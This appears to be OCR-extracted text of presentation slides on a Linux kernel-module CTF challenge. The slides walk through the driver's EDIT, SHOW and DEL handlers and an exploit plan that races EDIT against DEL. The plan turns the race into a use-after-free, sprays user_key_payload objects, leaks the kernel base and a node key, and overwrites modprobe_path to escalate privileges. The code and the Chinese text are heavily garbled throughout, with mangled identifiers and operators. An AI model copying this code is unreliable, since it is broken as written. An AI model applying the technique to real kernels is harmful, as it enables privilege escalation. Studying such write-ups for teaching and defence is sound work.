ret = copy_from_user(buf, (void _ user x)data.addr, size);
for (i = 0; 1 x 8 < size; 1i++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Challenge

Cmd2. EDIT

> EN1SAE2312 A9 data pointer

BY45 node size

> ERINMNZER

&

E

case I0 EDIT:

if (tableldata.idx]) {
addr = tableldata.idx]->addr ~ tableldata.idx]->key;

size = table[data.idx]->size & Ox1ff;
ret = copy_from_user(buf, (void __user x)data.addr, size);
for (i = 0; 1 x 8 < size; 1i++)

buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Challenge

Cmd2. EDIT

> EXiSE# 221207 data pointer

B BY4S node size

> ERTNEER

&

E

case 10 _EDIT:

if (tableldata.idx]) {
addr = tableldata.idx]->addr ~ tableldata.idx]->key;

size = table[data.idx]->size & Ox1ff;
ret = copy_from_user(buf, (void __user x)data.addr, size);
for (i = 0; 1 x 8 < size; 1i++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);

121



Challenge

Cmd2. EDIT

> EXiSE# 221207 data pointer

2 BY4S node size

AR

)

S

S :/7\{\1:
D =L
- S

P

E

case 10 _EDIT:

if (tableldata.idx]) {
addr = tableldata.idx]->addr ~ tableldata.idx]->key;

size = table[data.idx]->size & Ox1ff;
ret = copy_from_user(buf, (void __user x)data.addr, size);
for (i = 0; 1 x 8 < size; 1i++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Challenge

Cmd3. SHOW
> EN1SEEZ312RY data pointer

2 BY4S node size

HYERHES

B3| user space

case I0_SHOW:
if (tableldata.idx])

addr

memcpy (buf,

table([data.idx]—->addr ~ tableldata.idx]|-—>key;
table(data.idx]|->size & Ox1ff;

void *x)addr, size);

for (i = 0; i % 8 < size; i++)

buf[i] ~= tableldata.idx]->key;

ret = copy_to_user((void __user x)data.addr, buf, size);



Challenge

Cmd3. SHOW

215 B data pointer

I‘r

% node size

case I0_SHOW:
if (tableldata.idx])

addr

AUERHE R Zl user space

memcpy (buf,

table(data.idx]|->addr ~ tableldata.idx]->key;
tablel|data.1dx|->s1ze & OxX1TT;

void *x)addr, size);

for (1 =0; 1 % 8 < size; i++)

buf i

ret = copy_to_user((void

= tableldata. idx]|—>key;
__user x)data.addr, buf, size);



Challenge

Cmd3. SHOW
> EN1SEEZ312RY data pointer

B BY4S node size

HYERHES

B3| user space

case I0_SHOW:
if (tableldata.idx])

addr

memcpy (buf,

table[data.idx]—>addr ~ tableldata.idx]|—>key;
table(data.idx]|->size & Ox1ff;

volid *)addr, size);

for (i = 0; i % 8 < size; i++)

buf[i] ~= tableldata.idx]->key;

ret = copy_to_user((void __user x)data.addr, buf, size);



Challenge

Cmd3. SHOW

> EN1SEEZ312RY data pointer

2 BY4S node size

A%
R
T
E
ﬁh;

&

B RE B4 Zl user space

case I0_SHOW:
if (tableldata.idx])

{

addr = tablel[data.idx]/->addr ~ tablel[data.idx]->key;
size = tablel[data.idx]->size & 0Ox1ff;

memcpy (buf,

void x)addr, size);

for (1 =0; i *x 8 < size; i++)

buf(i] #

= tableldata. idx]|—>key;
ret = copy_to_user((void _ user x)data.addr, buf, size);
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Challenge

Cmd4. DEL
> EX1SAE2312HY data pointer
> FEHY data pointer

> FEHY node iF A NULL

case 10 DEL:
if (tablel[data.idx]) {
addr = tablel[data.idx]|->addr ©~ tableldata.idx]->key;
kfree((void x)addr);
kfree(tableldata.idx]);
tableldata.idx] = 0;
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Challenge

Cmd4. DEL

> NS EE2312 /9 data pointer

> FEAY data pointer

> FEHY node iF A NULL

case 10 DEL:

if (tablel[data.idx]) {
addr = tablel[data.idx]|->addr ©~ tableldata.idx]->key;

kfree((void x)addr):
kfree(table ! data. idx]);
table|[data.idx] = 0;
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Challenge

Cmd4. DEL

> HEXiFfE %1207 data pointer

> FEJX data pointer

> FEHY node iF A NULL

case 10 DEL:

if (tablel[data.idx]) {
addr = tablel[data.idx]|->addr ©~ tableldata.idx]->key;

kfree((void x)addr):
kfree(table ! data. idx]);
table|[data.idx] = 0;
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Challenge

Cmd4. DEL
> EX1SAE2312HY data pointer
> FEHY data pointer

P FERN node Wi /54 NULL

case 10 DEL:

if (tablel[data.idx]) {
addr = tablel[data.idx]|->addr ©~ tableldata.idx]->key;

kfree((void x)addr):
kfree(table ! data. idx/]);
table|[data.idx] = 0;
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Exploit

Analyze

AEfEEX race condition BY1

@ ADD, EDIT - it user space £ & 11%| data pointer

@ SHOW - 1it data pointer 88 &1} Fl| user space

&3t » FRAFLE A race th A= EZ! kernel memory

> ABEEEEEIIBNRE—

ret = copy_from_user(buf, (void __user *)data.addr, data.size); ret = py from_user(buf, (void user x)data.addr, size);
if t()lf—[ (]a' L ’: i:[gata S;ZT' ;H) for (1 = 0; i % 8 < size; i++)
ufli]/ 7= tableldata.idx]->key; A~ : )
memcpy((void x)addr, (void *)buf, data.size); bufl1] == table[data'ld),(] ~key;
memcpy((void *)addr, buf, size);

table[data.idx]—>addr = addr ~ table[data.idx]->key;

ADD EDIT
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Exploit

Analyze. Race at EDIT

Thread 1 EDIT NO

Thread 2

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (i = 0; i *x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *)addr, (void x)buf, data.size);
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Exploit

Analyze. Race at EDIT

Thread 1 EDIT NO

Thread 2

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);
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Exploit

Analyze. Race at EDIT node-0 (FREED)

Thread 1 EDIT NO
Thread 2 DEL NO

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);

n0-data (FREED)
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Exploit

Analyze. Race at EDIT node-0 (FREED)

Thread 1 EDIT NO

Thread 2

user_key_payload

DEL NO sprary
user_key_payload

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);
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Exploit

Analyze. Race at EDIT

Thread 1 EDIT NO

Thread 2

user_key_payload

DEL NO sprary ADD N1
user_key_payload

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);
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Exploit

Analyze. Race at EDIT

Thread 1 EDIT NO

Thread 2

user_key_payload

DEL NO sprary ADD N1
user_key_payload

» ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; i++)
buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);
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Exploit

Analyze. Race at EDIT

Thread 1 EDIT NO

Thread 2

DEL NO Sprary ADD N1
user_key_payload

ret = copy_from_user(buf, (void __user x)data.addr, data.size);
for (1 = 0; i x 8 < data.size; 1i++)

buf[i] ~= table[data.idx]->key;
memcpy((void *x)addr, (void *)buf, data.size);
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Exploit
Analyze. Race at ADD

struct user key payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */

char data[] _ _aligned(__alignof (u64)); /* actual data */

2 rcu - 2B HE]

» datalan - key BUEE

@ ZREMRAKIE » BARZE short » mAKREH Oxffff

P data| ]| - key data
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Exploit
Analyze. Race at ADD

data] |

other object

Before After

user_key_payload user_key_payload

data] ] overlap
other object
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Exploit
Analyze. Race at ADD

P —
INFORMATION LEAK

Before After




Exploit
Analyze. Race at ADD

> BE leak HRAIVENABMUT -

@ Kernel base - 851 chunk & kernel address

@ node-1 key - AR5 E user_key payload A& 0 » BITE xor EFiE5Z node key
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO

Thread 4

» ret = copy_from_user(buf, (void _ user x)data.addr, size);:
for (1 =0; 1 x 8 < size; 1++)
buf[i] 7= tableldata.idx]—>key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO

Thread 4

» ret = copy_from_user(buf, (void __user x)data.addr, size);
for (1 =0; 1 x 8 < size; 1++)
buf[i] 7= tableldata.idx]—>key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO
Waiting race
Thread 4 at EDIT

» ret = copy_from_user(buf, (void __user x)data.addr, size);
for (1 =0; 1 x 8 < size; 1++)
buf[i] 7= tableldata.idx]—>key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO
Waiting race
Thread 4 at EDIT

» ret = copy_from_user(buf, (void _ user x)data.addr, size);
for (1 =0; 1 % 8 < size; 1++)
buf[i] 7= tableldata.idx]—>key;
memcpy ( (void x)addr, buf, size);

user_key_payload
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO
S Waiting race Free user_key_payload
at EDIT user_key_payload (FREED)

» ret = copy_from_user(buf, (void __user x)data.addr, size);
for (1 =0; 1 x 8 < size; 1++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO
Waiting race Free Spray
fhread 4 at EDIT user_key_payload

» ret = copy_from_user(buf, (void __user x)data.addr, size);
for (1 = 0; 1 x 8 < size; 1++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

Thread 3 EDIT NO
Waiting race Free Spray
fhread 4 at EDIT user_key_payload

» ret = copy_from_user(buf, (void __user x)data.addr, size);
for (1 = 0; 1 x 8 < size; 1++)
buf[i] ~= tableldata.idx]->key;
memcpy((void *)addr, buf, size);
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Exploit

Analyze. Race at EDIT

- » 00~08 - key » 1E#45 0 A node-1 key

- . A
» 08~10 - size » 145 8 ~ node-1 key

» 10~18 - data pointer > 18%5
modprobe_path A node-1 key

EDIT NO

ret = copy_from_user(buf, (void __user x)data.addr, size);
for (i = 0; i *x 8 < size; i++)

buf[i] ~= tableldata.idx]—->key;
memcpy((void x)addr, buf, size);

—>

150



Exploit

Final

> ¥ node-15 {£F EDIT » B4 key A& 0 » FLLERBEMNMEIERE raw data
» 5 modprobe path &35 ERIZN

> Ex1&2f53% modprobe BYIR{EENT]
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